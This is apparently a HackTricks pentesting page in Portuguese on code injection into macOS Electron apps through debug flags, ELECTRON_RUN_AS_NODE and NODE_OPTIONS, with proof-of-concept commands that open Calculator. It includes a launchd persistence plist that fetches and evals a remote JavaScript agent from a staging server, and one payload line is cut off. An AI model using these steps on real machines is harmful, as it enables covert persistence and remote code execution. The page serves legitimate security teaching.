hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

4.9 KiB

Inspecionar Aplicações Electron

De acordo com este, se você executar uma aplicação Electron com flags como --inspect, --inspect-brk e --remote-debugging-port, uma porta de depuração será aberta para que você possa se conectar a ela (por exemplo, do Chrome em chrome://inspect) e você será capaz de injetar código nela ou até mesmo lançar novos processos.
Por exemplo:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Observe que agora a maioria das aplicações Electron ignorará os parâmetros do node (como --inspect) quando iniciados, a menos que a variável de ambiente ELECTRON_RUN_AS_NODE seja definida.

No entanto, ainda é possível usar o parâmetro do electron --remote-debugging-port=9229, mas a carga útil anterior não funcionará para executar outros processos. {% endhint %}

ELECTRON_RUN_AS_NODE

De acordo com a documentação, se essa variável de ambiente for definida, ela iniciará o processo como um processo Node.js normal.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

Como proposto aqui, você pode abusar dessa variável de ambiente em um plist para manter a persistência:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

ELECTRON_RUN_AS_NODE & NODE_OPTIONS

Com essa combinação, você pode armazenar o payload em um arquivo diferente e executar esse arquivo:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

{% endcode %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥